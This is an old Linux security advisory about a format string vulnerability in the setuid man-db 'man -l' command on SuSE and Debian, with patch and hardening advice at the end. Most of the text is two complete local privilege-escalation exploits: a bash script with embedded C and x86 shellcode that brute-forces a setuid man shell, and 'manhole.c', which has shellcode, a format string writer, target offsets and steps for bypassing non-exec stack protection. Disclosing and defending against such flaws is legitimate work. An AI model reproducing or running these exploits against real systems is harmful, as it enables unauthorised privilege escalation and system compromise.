COMMAND

    man

SYSTEMS AFFECTED

    Linux

PROBLEM

    Joao Gouveia found following.  Example follows:

        jroberto@spike:~ > cat /etc/issue

        Welcome to SuSE Linux 6.3 (i386) - Kernel \r (\l).

        jroberto@spike:~ > man -l %x%x%x%x
        man: 0bffff8600bffff85c: No such file or directory
        jroberto@spike:~ > man -V
        man, version 2.3.10, db 2.3.1, July 12th, 1995 (G.Wilford@ee.surrey.ac.uk)

    AFAIK, suse 7.0 also ships with this 'man'.

    This has been confirmed on  debian 2.2r2...  tracing in  source of
    man-db-2.3.16 (man-db-2.3.17):

        -- [src/man.c:752]:
                        if (!display ((cwd[0]?cwd:NULL), argv, NULL, basename(argv))) {
                                if ( local_mf )
                                      error (0, errno, argv);                  <----- HERE
                                exit_status = NOT_FOUND;
                        }

        -- [lib/error.c:80]
        error (int status, int errnum, const char *message, ...)
        -- [lib/error.c:102 (editted)]
          VA_START (args, message);
          vfprintf (stderr, message, args);
        --

    So,  SuSE  ships  the   /usr/bin/man  command  suid  man.    After
    exploiting  the  man  command  format  string  vulnerability,  the
    attacker  can  then  replace  the  /usr/bin/man binary with an own
    program - since the man command is supposed to be used  frequently
    (especially  for  administrators),  this  imposes  a  rather  high
    security risk, which deserves some due respect.

    Man is setuid <some user> in order to store pre-formatted manpages
    around,  so  that  future  invocations  do  not have to format the
    manpage.   It  is  intended  to  allow  simple  source pages to be
    shipped  (compressed  in  the  case  of  at  least Debian) so that
    PostScript versions can  be generated, in  addition to the  simple
    text-viewable versions -- and still allow for  frequently-accessed
    manpages to  load as  fast as  shipping the  formatted versions of
    manpages.

    It is  interesting to  note that  OpenBSD does  not use the source
    pages by default  -- only the  processed plaintext 'cat'pages  are
    installed.  This prevents the need for set(gd)id man applications,
    and problems such as this.

    Solaris does the  opposite of and  ships only the  unformatted man
    pages, which since Solaris 7 are  sgml rather than nroff.  If  you
    want to have access to catman  pages rather than wait for them  to
    be formatted each time then root can run catman.

    On Debian systems:

        -rwsr-xr-x    1 man      root        84524 Oct 24 08:11 /usr/lib/man-db/man
        -rwxr-xr-x    3 root     root         5060 Oct 24 08:11 /usr/bin/man

    there are two man binaries.

    /usr/bin/man  is  a  simple  binary,  without  any  suid  bit, BUT
    /usr/lib/man-db/man is  suid man,  and it's  vulnerable to  man -l
    <formatstr> attack.  So anyone can get man uid by exploiting it.

    So we can overwrite the /usr/lib/man-db/man binary with any  stuff
    we want, and  when some user  launches man, our  code will be  run
    instead of the original  /usr/lib/man-db/man binary.  This  is the
    real security problem.

    If  root  runs  /usr/bin/man,  it  drops  root priviledges, and it
    setuids to man(6).

    We can get  man gid with  man on Redhat.   Then we may  be able to
    overwrite some  stuff in  /var/man/cache, what  is still  unsecure
    because troff may have some security flaws...

    In debian  systems, we  can own  the user  who runs  man (but  not
    root!).  In redhat  systems, we get only  man gid, but one  may be
    able to get more (not checked).

    Paul Starzetz posted  exploit that will  create suid man  shell on
    vulnerable systems:

    #!/bin/bash

    #	CONFIGURATION:
    umask 000
    target="/usr/bin/man"
    tmpdir="/tmp/manexpl"
    rm -rf "$tmpdir"

    #       address we want to write to (ret on the stack)
    #       has to be an absolute address but we brute force
    #		this scanning 64 addresses from writeadr on
    writeadr="0xbffff180"

    #       address of the shell in our string
    #		must point somewhere to our 'nop' region
    shadr="0xbffff720"

    #	number of nops before shellcode
    declare -i nnops
    nnops=128

    #	brute force how many times
    declare -i nbrute
    nbrute=512


    echo
    echo "-------------------------------------------"
    echo "|           local man exploit             |"
    echo "|              by IhaQueR                 |"
    echo "|    only for demonstrative purposes      |"
    echo "-------------------------------------------"
    echo

    echo
    echo "configured for running $target"
    echo
    echo "RETADR = $writeadr"
    echo "SHELL  = $shadr"
    echo "NOPS   = $nnops"
    echo

    shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    nop="N"

    #	prepare
    mkdir -p "$tmpdir"
    if ! test -d "$tmpdir" ; then
	    echo "[-] creating working dir, exit"
	    exit 1
    fi;

    echo "[+] created working dir"
    cd "$tmpdir"
    echo

    #	number of nops before shellcode
    declare -i nnops
    nnops=128

    #	make nop field
    declare -i idx
    idx=0

    nopcode=""
    head=""

    while test $idx -lt $nnops; do
	    nopcode="${nop}$nopcode"
	    idx=$(($idx+1))
    done;


    #	sanity check :-)
    if ! test -x $target ; then
	    echo "[-] $target not found or not executable, sorry"
	    exit 1
    fi;

    echo "[+] found $target"
    echo

    #	get uids
    muid=$(id -u man)
    ruid=$(id -u)
    if ! test $muid="" || ! test $ruid="" ; then
	    echo "[-] error checking ids, sorry"
	    exit 2;
    fi;

    printf "[+] uid=%d\t\tmid=%d" $ruid $muid
    echo

    declare -i cnt
    declare -i cntmax
    cnt=0

    #	max gstring length*4
    cntmax=1024


    #	make string used for offset search
    #	like <head><addr><nops><shellcode>
    #	PP stands for padding
    hstring="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nopcode}${shellfake}"
    gstring=""

    #	find offset
    echo "    now searching for offset"
    echo

    declare -i npad
    declare -i ocnt
    ocnt=0

    while test $cnt -le $cntmax ; do
	    if test $ocnt -eq 4 ; then
		    ocnt=0
		    echo
	    fi;

	    gstring="%16g$gstring"
	    cnt=$(($cnt+1))
	    npad=0
	    padding=""

	    printf "[%4d " $cnt

	    while test $npad -lt 8 ; do
		    echo -n " $npad"
		    result=$($target -l "$gstring$hstring" -p "$padding" a 2>&1 | grep "44434241")
		    if test "$result" != "" ; then
			    break 2;
		    fi;
		    padding="P$padding"
		    npad=$(($npad+1))
	    done;

	    echo -n " ]   "
	    ocnt=$(($ocnt+1))
    done

    echo "]  "
    echo
    echo

    #	found offset
    declare -i offset
    offset=$(($cnt * 4))

    if test $cnt -gt $cntmax ; then
	    echo "[-] offset not found, please tune me :-)"
	    exit 2
    fi;

    echo "[+] OFFSET found to be $offset/$cnt pad=$npad"


    #	number of bytes written so far
    declare -i nwrt
    nwrt=$((16*${cnt}))

    echo "    now constructing magic string nwrt=$nwrt"
    echo

    #	we need unsigned arithmetics, simple c tool
    cat <<__ATOOL__> atool.c

    #include <stdio.h>

    int main(int argc, char** argv)
    {
    int i, flip;
    unsigned adr, shadr, nwrt, ruid, muid;
    unsigned char* p;
    unsigned addr[9];
    unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";
    unsigned char nop[1024];
    unsigned char buf[8192];

    //		IhaQueR's special code (no trojan, believe me :-)
    char hellcode[]=	"\x31\xc0\x31\xdb\x31\xc9"
					    "\xb1\x01\xb7\x02\xb3\x03"
					    "\xb0\x46\xcd\x80"
					    "\x31\xc0\x31\xdb\x31\xc9"
					    "\xb3\x01\xb5\x02\xb1\x03"
					    "\xb0\x46\xcd\x80"
					    "\x31\xc0\x31\xdb"
					    "\xb3\x01\xb0\x17\xcd\x80"
					    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
					    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   					    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";


    //		correct hellcode for current ruid, muid
		    ruid = $ruid;
		    muid = $muid;
		    hellcode[7] = muid & 0xff;
		    hellcode[9] = (ruid >> 8 ) & 0xff;
		    hellcode[11] = ruid & 0xff;
		    hellcode[23]=hellcode[7];
		    hellcode[25]=hellcode[9];
		    hellcode[27]=hellcode[11];
		    hellcode[37]=hellcode[7];

		    adr = $writeadr;
		    adr += atol(argv[1]);

    //		address field
		    for(i=0; i<4; i++) {
			    addr[2*i] = adr + i;
			    addr[2*i+1] = adr + i;
		    }
		    addr[8]=0;

    //		head
		    shadr = $shadr;
		    nwrt = $nwrt + 0;
		    p = (unsigned char*)&shadr;
		    for(i=0; i<4; i++) {
			    flip = (((int)256) + ((int)p[i])) - ((int)(nwrt % 256));
			    nwrt = nwrt + flip;
			    sprintf(head+i*8, "%%%04dx%%n", flip);
		    }
		    head[32] = 0;

    //		nops
		    for(i=0; i<$nnops; i++)
			    nop[i] = 0x90;
		    nop[i] = 0;

		    sprintf(buf, "$target -l '%s%s%s%s%s' -p \"$padding\" a 2>&1", "$gstring", head, addr, nop, hellcode);
		    system(buf);
    }
    __ATOOL__

    #	helper apps
    rm -f atool
    gcc atool.c -o atool
    if ! test -x atool ; then
	    echo "[-] compilation error, exiting"
	    exit 3
    fi;

    echo "[+] compiled address tool"

    #	mansh
    cat <<__MANSH__> mansh.c
    main(int argc, char** argv)
    {
	    setreuid($muid, $ruid);
	    execv("/bin/sh", argv);
    }
    __MANSH__

    rm -rf mansh
    rm -rf umansh
    gcc mansh.c -o umansh
    if ! test -x umansh ; then
	    echo "[-] compilation error, exiting"
	    exit 4
    fi;

    echo "[+] compiled mansh"

    #	mkmsh
    cat <<__MKMSH__> mkmsh
    #!/bin/bash
    cp umansh mansh
    chmod u+s mansh
    __MKMSH__
    chmod a+x mkmsh

    if ! test -x mkmsh ; then
	    echo "[-] compilation error, exiting"
	    exit 5
    fi;

    echo "[+] mkmsh ready"


    #	brute force
    echo "    now brute force, wait..."
    echo

    idx=0
    ocnt=1
    umask 022

    while test $idx -lt $nbrute ; do
	    result=$(atool "$(($idx*4))")
	    if test -x mansh ; then
		    echo
		    echo
		    echo "[+] SUCCESS"
		    echo
		    echo "    suid man shell at $tmpdir/mansh"
		    echo
		    exit 6
	    fi;
	    printf "[%4d] " $idx
	    if test $ocnt -eq 16 ; then
		    ocnt=0;
		    echo
	    fi;
	    idx=$(($idx+1))
	    ocnt=$(($ocnt+1))
    done;

    #	cleanup
    echo
    echo "[-] FAILED, tune writeadr, shadr, nnops, nbrute, etc."
    echo
    echo
    rm -rf "$tmpdir"

    Here's another exploit  for the debian/suse  man -l format  string
    bug.  It bypasses Solar Designer's non-exec stack patch and should
    work  out  of  the  box  on  Debian  2.2.   There  is  a  detailed
    explanation  of  how  to  get  the offsets for other distributions
    (such as SuSE).

    /*
     *  manhole.c - fish stiqz <fish@analog.org> 02/26/2001
     *              updated on 03/12/2001
     *
     *  Now gives man's real userid.  Thanks to Paul Starzetz for the hint
     *  concerning POSIX saved id's.
     *
     *  How to get the offsets:
     *  ======================
     *
     *  1) Target address:
     *  $ objdump -s -j .dtors /path/to/man
     *
     *  /path/to/man:     file format elf32-i386
     *
     *  Contents of section .dtors:
     *  805a8dc ffffffff 00000000                    ........
     *  ^^^^^^^
     *  Add 4 to the head of the .dtors list to get 0x0805a8e0.
     *
     *  2) Value to write:
     *     (This needs to be an address to our nops)
     *  $ cp /path/to/man /tmp
     *  $ ltrace ./manhole -p /tmp/man -t 0x0805a8e0 -v 0x52525252 -e 100 -u 5 2>&1 | grep malloc
     *  malloc(1342)                                      = 0x0804a420
     *  malloc(601)                                       = 0x0804a968
     *  malloc(161)                                       = 0x0804abc8
     *  malloc(686)                                       = 0x0804ac70
     *  malloc(1337)                                      = 0x081611c8
     *         ^^^^                                         ^^^^^^^^^^
     *  malloc(4)                                         = 0x0815f5d8
     *  malloc(13)                                        = 0x0815f5e8
     *  malloc(10)                                        = 0x0815f5f8
     *  malloc(719)                                       = 0x08161708
     *
     *  The elite malloc contains our eggshell.
     *  Notice that this eggshell is in the heap, so it will bypass Solar
     *  Designer's non-executable stack patch.
     *
     *  3) The stack eats:
     *     (Brute force it.  -u specifies man's userid: `id man` to get it)
     *  $ for i in `seq 40 140`; do echo $i; ./manhole -p /path/to/man -t 0x0805a8e0 -v 0x081611c8 -e $i -u 5; done;
     *     ....
     *  102
     *  ...
     *  103
     *  ...
     *  104
     *  ...
     *  sh-2.04$ whoami
     *  man
     *  sh-2.04$
     *
     *
     *  4) Then email me the these three values including the operating system,
     *     distribution type and version, and man's uid.  I'll add them to my
     *     exploit, give you credit, and send you a copy with all the known
     *     offsets.
     *
     *  l8r, have fun.  fish stiqz.
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    
    extern int errno;
    extern char *optarg;
    
    #define DEFAULT_MAN_BIN   "/usr/lib/man-db/man"
    #define DEFAULT_SHELLCODE scode
    #define DEFAULT_UID       5
    #define ENV_VAR           "LANG"
    
    #define STACK (0xc0000000-4)
    
    /* shellcode, does a setreuid(-1, UID); setreuid(UID, UID);
       and execve of /bin/sh, uids at scode[10], scode[22] & scode[24] */
    #define UID "\x05"
    char scode[] =
    /* setreuid(-1, 5); setreuid(5,5); */
    "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"UID
    "\x31\xc0\xb0\x46\xcd\x80\x31\xdb\x31\xc9\xb3"UID
    "\xb1"UID"\x31\xc0\xb0\x46\xcd\x80"
    
    /* anathema */
    "\x89\xe6"                          /* movl %esp, %esi          */
    "\x83\xc6\x30"                      /* addl $0x30, %esi         */
    "\xb8\x2e\x62\x69\x6e"              /* movl $0x6e69622e, %eax   */
    "\x40"                              /* incl %eax                */
    "\x89\x06"                          /* movl %eax, (%esi)        */
    "\xb8\x2e\x73\x68\x21"              /* movl $0x2168732e, %eax   */
    "\x40"                              /* incl %eax                */
    "\x89\x46\x04"                      /* movl %eax, 0x04(%esi)    */
    "\x29\xc0"                          /* subl %eax, %eax          */
    "\x88\x46\x07"                      /* movb %al, 0x07(%esi)     */
    "\x89\x76\x08"                      /* movl %esi, 0x08(%esi)    */
    "\x89\x46\x0c"                      /* movl %eax, 0x0c(%esi)    */
    "\xb0\x0b"                          /* movb $0x0b, %al          */
    "\x87\xf3"                          /* xchgl %esi, %ebx         */
    "\x8d\x4b\x08"                      /* leal 0x08(%ebx), %ecx    */
    "\x8d\x53\x0c"                      /* leal 0x0c(%ebx), %edx    */
    "\xcd\x80"                          /* int $0x80                */
    ;
    
    char nop[] = "\x90";
    
    
    /* architecture structure */
    struct arch {
        char *description;
        char *filename;
        char *code;
        unsigned long target;
        unsigned long value;
        unsigned int eats;
        unsigned int man_uid;
    };
    
    struct arch archlist[] =
    {
        {
	    "Slackware 7.1 - testing only (NOT DEFAULT)", "./man", scode,
	    0x0805a8e0, 0x081611c8, 104, 5
        },
        {
	    "Debian 2.2 (man-db_2.3.16-1.deb)", "/usr/lib/man-db/man", scode,
	    0x0805c53c, 0x08163128, 128, 6
        }
    };
    
    
    /*
     * Error cheq'n wrapper for malloc.
     */
    void *Malloc(size_t n)
    {
        void *tmp;
    
        if((tmp = malloc(n)) == NULL)
        {
            fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
            exit(EXIT_FAILURE);
        }
    
        return tmp;
    }
    
    
    /*
     * Error cheq'n realloc.
     */
    void *Realloc(void *ptr, size_t n)
    {
        void *tmp;
    
        if((tmp = realloc(ptr, n)) == NULL)
        {
            fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
            exit(EXIT_FAILURE);
        }
    
        return tmp;
    }
    
    
    /*
     * returns the proper alignment for the man -l argument on the stack.
     *  - this method courtesy of Michel "MaXX" Kaempf (Thanks dawg ;-)
     */
    char *create_proper_align(char *man_bin, char **execve_envs,  char *fmtstr)
    {
        unsigned long file_addr;
        unsigned int x, align;
    
        file_addr = STACK - (strlen(man_bin) + 1);
        for(x = 0; execve_envs[x] != NULL; x++)
	    file_addr -= strlen(execve_envs[x]) + 1;
    
        file_addr -= strlen(fmtstr) + 1;
        for(align = 0; align < (file_addr % 16); align++);
    
        printf("caculated alignment: %d\n", align);
    
        fmtstr = Realloc(fmtstr, (strlen(fmtstr) + 1 + align) * sizeof(char));
        memset(fmtstr + strlen(fmtstr), 'X', align);
    
        return fmtstr;
    }
    
    
    /*
     * generates a format string that overwrites location with value.
     * This format string is only appropriate for use with a printf call
     * that only writes to the screen due to the fact that it uses large
     * precision values which will most likely cause a segfault if that
     * many bytes are written to a string via sprintf.
     * the number of items on the stack before the input buffer is
     * specified by stackpad (eat up the stack..)
     */
    
    #define EAT_ME "%.8x "
    #define EAT_ME_SIZE 9
    
    char *make_printf_fmtstr(unsigned long location,
			     unsigned long value,
			     unsigned int eats,
			     unsigned int addrpad)
    {
        char *fmtbuf;
        char *eatbuf;
        char *addrbuf, *tmpbuf;
        unsigned int i, len1 = 0;
        unsigned int big, small, tmp;
        unsigned int precision[2];
        unsigned long dest_addr[2];
    
        /* set up the padbuf */
        eatbuf = Malloc((1 + (eats * sizeof(EAT_ME))) * sizeof(char));
        eatbuf[0] = 0x0;
        for(i = 0; i < (eats * sizeof(EAT_ME)); i += sizeof(EAT_ME))
        {
	    strcat(eatbuf, EAT_ME);
	    len1 += EAT_ME_SIZE;
        }
    
        /* split the address into 2 two byte segments */
        big   = value & 0x0000ffff;
        small = (value & 0xffff0000) >> 16;
    
        if(big < small)
        {
	    /* swap the values */
	    tmp = big;
	    big = small;
	    small = tmp;
    
            dest_addr[0] = location;
            dest_addr[1] = location + 2;
        }
        else
        {
            dest_addr[0] = location + 2;
            dest_addr[1] = location;
        }
    
        /* write in the destination addresses with the junk values to expand.
           we want to write in in addrpad times to allow for "misses" */
        addrbuf = Malloc((1 + (16 * addrpad)) * sizeof(char));
        tmpbuf = addrbuf;
        for(i = 0; i < addrpad; i++)
        {
	    memcpy(tmpbuf + 0, "AAAA", 4);                /* junk to pad */
	    memcpy(tmpbuf + 4, (char *)&dest_addr[0], 4); /* 1st addr to overwrite */
	    memcpy(tmpbuf + 8, "AAAA", 4);                /* junk to pad */
	    memcpy(tmpbuf + 12, (char *)&dest_addr[1], 4);/* 2nd addr to overwrite */
	    tmpbuf += 16;
        }
        len1 += (16 * addrpad);
    
        precision[0] = small - len1;
        precision[1] = big - small;
    
        /* 17: address + junk + null */
        /*  6: 2 "%hn"'s */
        /* 20: length specifiers */
        fmtbuf = Malloc(strlen(eatbuf) + strlen(addrbuf) + 6 + 20);
        sprintf(fmtbuf,
	        "%s"                /* the junk & address buffer */
	        "%s"                /* the pad buffer */
	        "%%.%dx"            /* pad out the first junk value */
	        "%%hn"              /* write to first address */
	        "%%.%dx"            /* pad out last junk value */
	        "%%hn",             /* write to last address */
    
	        addrbuf,
	        eatbuf,
	        precision[0],
	        precision[1]);
    
        free(addrbuf);
        free(eatbuf);
    
        return fmtbuf;
    
    }
    
    /*
     * makes the nop + shellcode egg
     */
    char *make_eggshell(char *shellcode, char *nop, int num_nop, char *name,
		        unsigned int man_uid)
    {
        char *egg, *tmp;
        unsigned int size, i, nop_size;
    
        /* replace the shellcode uids with what we want in the shellcode */
        shellcode[10] = man_uid;
        shellcode[22] = man_uid;
        shellcode[24] = man_uid;
    
        printf("using uid = %u as man's userid\n", man_uid);
    
        size = strlen(shellcode) + (num_nop * strlen(nop)) + strlen(name) + 2;
        egg = Malloc(size * sizeof(char));
    
        memset(egg, 0x0, size);
        strcpy(egg, name);
        strcat(egg, "=");
    
        tmp = egg + strlen(name) + 1;
        nop_size = strlen(nop);
        for(i = 0; i < num_nop; i++)
        {
	    memcpy(tmp, nop, nop_size);
	    tmp += nop_size;
        }
    
        strcat(egg, shellcode);
        return egg;
    }
    
    /*
     * prints a usage message and then exits.
     */
    void usage(char *p)
    {
        int i;
    
        fprintf(stderr,
	        "manhole - local man exploit by fish stiqz <fish@analog.org>\n"
	        "usage: %s <architecture>\n"
	        "Architectures:\n", p);
    
        for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
	    fprintf(stderr, "  - %i: %s\n", i, archlist[i].description);
    
        fprintf(stderr,
	        "usage: %s <options>\n"
	        "Manual Exploitation:\n"
	        "\t-p\t<path>   path to man binary.\n"
	        "\t-t\t<target> address to overwrite.\n"
	        "\t-v\t<value>  value to overwrite with.\n"
	        "\t-e\t<eats>   number of stack eats\n"
	        "\t-u\t<uid>    uid to regain (uid of man)\n", p);
    
        exit(EXIT_FAILURE);
    }
    
    
    int main(int argc, char **argv)
    {
        char *fmt_str, *eggy, *shellcode, *man_bin = NULL, c;
        char *execve_args[] = { NULL, "-l", NULL, NULL };
        char *execve_envs[] = { NULL, NULL };
        unsigned int eats = 0;
        unsigned int man_uid = DEFAULT_UID;
        unsigned long target = 0;
        unsigned long value = 0;
        int i;
        struct arch *arch;
    
        if(argc != 11 && argc != 2)
	    usage(argv[0]);
    
        if(argc != 2)
        {
	    shellcode = DEFAULT_SHELLCODE;
    
	    while((c = getopt(argc, argv, "t:v:e:p:u:h")) != EOF)
	    {
	        switch(c)
	        {
	        case 'p':
		    man_bin = strdup(optarg);
		    break;
    
	        case 't':
		    target = strtoul(optarg, NULL, 0);
		    break;
    
	        case 'v':
		    value  = strtoul(optarg, NULL, 0);
		    break;
    
	        case 'e':
		    eats   = strtoul(optarg, NULL, 0);
		    break;
    
	        case 'u':
		    man_uid = strtoul(optarg, NULL, 0);
		    break;
    
	        default:
		    usage(argv[0]);
		    break;
	        }
	    }
        }
        /* one argument - get it from the arch structure */
        else
        {
	    i = strtoul(argv[1], NULL, 0);
	    if(i < 0 || i >= sizeof(archlist) / sizeof(struct arch))
	        usage(argv[0]);
    
	    arch = &(archlist[i]);
    
	    man_bin   = arch->filename;
	    shellcode = arch->code;
	    target    = arch->target;
	    value     = arch->value;
	    eats      = arch->eats;
	    man_uid   = arch->man_uid;
        }
    
        printf("attempting to overwrite %#lx with %#lx\n", target, value);
        fflush(stdout);
    
        if(strlen(shellcode) > 1337 - 1)
        {
	    fprintf(stderr, "uh, shellcode is > 1336?? Go optimize it...\n");
	    exit(EXIT_FAILURE);
        }
        /* make the nop + shellcode egg */
        eggy = make_eggshell(shellcode, nop, 1337 - strlen(shellcode) - 1,
			     ENV_VAR, man_uid);
        execve_envs[0] = eggy;
    
        /* generate the format string */
        fmt_str = make_printf_fmtstr(target, value, eats, 10);
        fmt_str = create_proper_align(man_bin, execve_envs, fmt_str);
    
        execve_args[0] = man_bin;
        execve_args[2] = fmt_str;
    
        execve(execve_args[0], execve_args, execve_envs);
    
        fprintf(stderr, "execve(%s): %s\n", execve_args[0], strerror(errno));
        return EXIT_FAILURE;
    }

SOLUTION

    Version 1.5h (shipped with slackware 7.1) is not vulnerable.  SuSE
    will provide update packages shortly.

    The solution FreeBSD uses is to set the schg flag on  /usr/bin/man
    - this flag can  only be set and  removed by root, and  prevents a
    compromise  of  the  man  user  from  overwriting  the binary.  Do
    "chattr +i /usr/lib/man-db/man*" to prevent this style attacks.

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/man-db_2.3.16-1.1.dsc
        http://security.debian.org/dists/stable/updates/main/source/man-db_2.3.16-1.1.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-i386/man-db_2.3.16-1.1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/man-db_2.3.16-1.1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/man-db_2.3.16-1.1_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/man-db_2.3.16-1.1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/man-db_2.3.16-1.1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/man-db_2.3.16-1.1_arm.deb